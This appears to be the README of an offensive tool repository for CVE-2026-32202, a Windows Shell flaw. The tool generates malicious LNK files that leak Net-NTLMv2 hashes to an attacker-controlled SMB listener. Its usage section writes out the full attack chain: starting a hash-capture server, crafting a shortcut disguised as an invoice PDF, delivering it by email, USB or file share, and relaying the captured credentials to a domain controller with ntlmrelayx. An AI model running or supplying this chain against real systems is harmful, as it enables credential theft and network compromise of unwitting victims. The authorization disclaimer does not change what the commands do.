solarlynxsqueeze/cve-2026-32202Generates malicious LNK files to coerce Net-NTLMv2 hashes via Windows Shell UNC handling, with custom SMB listener and relay integration for authorized red team operations.
Disclaimer
This tool is for authorized red teaming and penetration testing only.
Unauthorized use against systems without explicit permission is illegal.
Use at your own risk. The author assumes no liability for any misuse or damage.
Description
NTLMv2 hash coercion via incomplete Windows Shell protection bypass (CVE-2026-32202). Generates specially crafted LNK files that force SMB/UNC authentication on open or preview in Explorer. Low interaction, works on patched systems where the April 2026 fix was insufficient. Actively used in engagements.
Key Features
What the exploit does
The tool creates a crafted .LNK that abuses Shell's handling of UNC paths in Target + IconEnvironmentDataBlock / ExtraData structures. When the victim browses the folder or hovers/previews the file, Windows Shell initiates an SMB connection to the attacker-controlled UNC, leaking the machine/user's Net-NTLMv2 hash. No code execution on target - credential coercion for relay or cracking.
Why it's useful
Tested on
Dependencies
Install: pip install -r requirements.txt
Usage
# 1. Start capture server (attacker host)
python smbcapture.py -i 0.0.0.0 -p 445 --output hashes.txt
# 2. Generate malicious LNK
python coercegen.py --unc \\attacker-ip\share\test --output "Invoice_Q2.lnk" --spoof "invoice.pdf"
# Optional: stable or bypass mode
python coercestable.py --unc \\attacker-ip\share\test --output "Report.lnk"
# 3. Deliver LNK (USB, share, email attachment, OneDrive, etc.)
# 4. Wait for hash in terminal + file. Example relay:
ntlmrelayx.py -t smb://target-dc -c whoami --no-wmipriv
# or LDAP relay for RBCD, HTTP for ADCS cert, etc.
Exploit
Limitations
Root cause (short)
Incomplete fix in Windows Shell's UNC path sanitization and ExtraData block processing for LNK icon/target resolution. The protection mechanism intended to block unauth network spoofing still triggers NTLM auth during Shell namespace enumeration.